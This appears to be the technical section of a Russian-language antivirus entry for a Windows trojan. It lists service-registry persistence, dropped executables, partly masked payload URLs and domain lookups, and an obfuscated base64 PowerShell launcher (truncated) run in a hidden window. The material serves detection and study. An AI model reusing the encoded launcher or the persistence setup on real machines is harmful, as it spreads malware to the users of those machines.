Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\wzcdlg] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\wzcdlg] 'ImagePath' = '"%WINDIR%\SysWOW64\wlanutil\wzcdlg.exe"'
- 'wzcdlg' "%WINDIR%\SysWOW64\wlanutil\wzcdlg.exe"
- 'wzcdlg' %WINDIR%\SysWOW64\wlanutil\wzcdlg.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABSADMAbABmAF8AZgAyAD0AKAAoACcASgA5ADEAeAB5ACcAKwAnAGwAJwApACsAJwA0ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAdQBzAEUAcgBwAHIATwBGAEkAbABlAFwARgAwAEIAdwBlAD...
- %HOMEPATH%\f0bwe54\dgwlry4\ujkfmkgc.exe
- %HOMEPATH%\f0bwe54\dgwlry4\ujkfmkgc.exe
- %HOMEPATH%\f0bwe54\dgwlry4\ujkfmkgc.exe в %WINDIR%\syswow64\wlanutil\wzcdlg.exe
- %HOMEPATH%\f0bwe54\dgwlry4\ujkfmkgc.exe
- '10#.#2.141.43':80
- http://www.go####ndmill.com/meteo/97/
- http://www.gr####studio.com/docs/Z/
- http://10#.#2.141.43/HEZILh2tLsq/7B6LE4/
- DNS ASK go####ndmill.com
- DNS ASK gr####studio.com
- DNS ASK b1##f.cn
- DNS ASK bl##.#ocialpill.in
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABSADMAbABmAF8AZgAyAD0AKAAoACcASgA5ADEAeAB5ACcAKwAnAGwAJwApACsAJwA0ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAdQBzAEUAcgBwAHIATwBGAEkAbABlAFwARgAwAEIAdwBlAD...' (со скрытым окном)